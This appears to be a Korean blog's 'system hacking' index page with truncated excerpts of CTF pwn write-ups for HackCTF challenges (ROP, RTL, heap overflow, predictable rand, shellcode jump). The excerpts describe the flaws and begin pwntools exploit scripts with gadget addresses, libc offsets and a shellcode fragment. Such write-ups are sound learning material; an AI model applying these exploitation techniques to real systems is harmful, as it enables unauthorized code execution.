목록system hacking (69)
ii4gsp
문제 이름대로 ROP해주면 된다. pop pop pop ret 가젯은 0x8048509이다. 나머지는 pwntools로 구해주자. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3021) e = ELF('/home/ii4gsp/HackCTF/rop/rop') libc = ELF('/home/ii4gsp/HackCTF/rop/libc.so.6') write_plt = e.plt['write'] write_got = e.got['write'] read_plt = e.plt['read'] read_got = e.got['read'] bss = e.bss() read_offset = libc.symbols['read'] system_offset = libc.symbols..
IDA로 파일을 열어보면 main()함수에서 vuln()함수를 호출한다. get_n()함수로 nptr애 4byte만큼 입력할수있다. 입력한 4byte를 atoi()함수로 정수로 바꿔 v2에 저장한다. v2가 32보다 크면 return이 실행되고 프로그램이 종료된다. v2에 언더플로우를 일으키면 if문을 통과하게되고 get_n()함수로 ret를 덮을수있다. system - printf = 0xe6e0 system - "/bin/sh" = 0x11e6eb printf의 주소를 leak해서 실제주소를 알아내고, system()함수와 "/bin/sh"를 구해주면 된다. Exploit from pwn import * r = remote('ctf.j0n9hyun.xyz', 3019) e = ELF('/home/ii..
파일을 다운받아 주자. IDA로 파일을 열어보면 printf()함수로 2개의 주소를 출력해준다. binsh는 그냥 binsh라는 변수명을 가진 변수이다. s는 0x84 즉, 132byte만큼 할당되었고, ret까지는 136byte이다. exploit에서 gets()함수를 사용할것이다. pop ret gadget을 찾으면된다. pop ret = 0x80484ad Exploit from pwn import * r = remote('ctf.j0n9hyun.xyz', 3018) e = ELF('/home/ii4gsp/HackCTF/gift') gets = e.plt['gets'] pr = 0x80483ad r.recvuntil('Hey guyssssssssss here you are: ') binsh = int..
Heap Overflow 문제이다. 파일을 다운받아 주자. v3, v4에 각각 0x10 즉, 16byte만큼 할당되었다. v3 + 1, v4 + 1에 8byte를 또 할당한다. 그리고 fgets()함수로 4096byte만큼 입력을받고 strcpy()함수로 v3 + 1, v4 + 1에 복사를한다. 0x400826()함수는 flag를 출력해준다. v3 + 1에 heap overflow를 일으키고 v4 + 1에 exit의 got를 0x400826()함수로 덮어주면 된다. Exploit from pwn import * r = remote('ctf.j0n9hyun.xyz', 3016) e = ELF('/home/ii4gsp/HackCTF/beginner_heap.bin') payload1 = '' payload1..
파일을 다운받아 주자. IDA로 열어보면 rand()함수로 받아온 값을 v5에 저장하고 scanf()함수로 v4에 입력을한다. 입력한 값과 rand()함수로 받아온 값 v5를 비교하고 같으면 flag를 출력해준다. #include #include #include int main() { srand(time(0)); printf("%d\n", rand()); } C언어로 똑같이 time을 0으로해주고 rand()함수로 값을 출력해주면 같은 시간의 값이되므로 비교 결과가 같을것이다. gcc로 컴파일 해주자. Exploit from pwn import * from ctypes import * r = remote('ctf.j0n9hyun.xyz', 3014) c = CDLL("/lib/x86_64-linux-gn..
RTL을 이용하는 문제인것같다. 파일을 다운받아 주자. int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax int v4; // [esp+10h] [ebp-90h] char buf; // [esp+14h] [ebp-8Ch] void *v6; // [esp+94h] [ebp-Ch] void *handle; // [esp+98h] [ebp-8h] void *s1; // [esp+9Ch] [ebp-4h] setvbuf(stdout, 0, 2, 0); handle = dlopen("/lib/i386-linux-gnu/libc.so.6", 1); v6 = dlsym(handle, "system"); dlclose(..
gets()함수에서 취약점이 발생한다. 변수 haystack가 "Smash me outside, how bout dAAAAAAAAAAA"이 아니면 exit()함수가 실행된다. gets()함수를 통해 입력한 데이터는 rdi레지스터에 저장이된다. haystack은 0x40 즉, 64byte만큼 할당되었으니 "Smash me outside, how bout dAAAAAAAAAAA"를 포함하여 쉘 코드를 rdi에 저장하여 jmp rdi를 ret로 조작해주면 된다. jmp rdi gadget의 주소는 0x00000000004c4e1b 이다. Exploit from pwn import * p = process('/home/ii4gsp/Desktop/src/smashme') shellcode = '\x31\xc0\x..
#include #include #include #include #include /* gcc -o ch35 ch35.c -fno-stack-protector -no-pie -Wl,-z,relro,-z,now,-z,noexecstack */ void callMeMaybe(){ char *argv[] = { "/bin/bash", "-p", NULL }; execve(argv[0], argv, NULL); } int main(int argc, char **argv){ char buffer[256]; int len, i; scanf("%s", buffer); len = strlen(buffer); printf("Hello %s\n", buffer); return 0; } scanf()함수에서 취약점이 발생한다..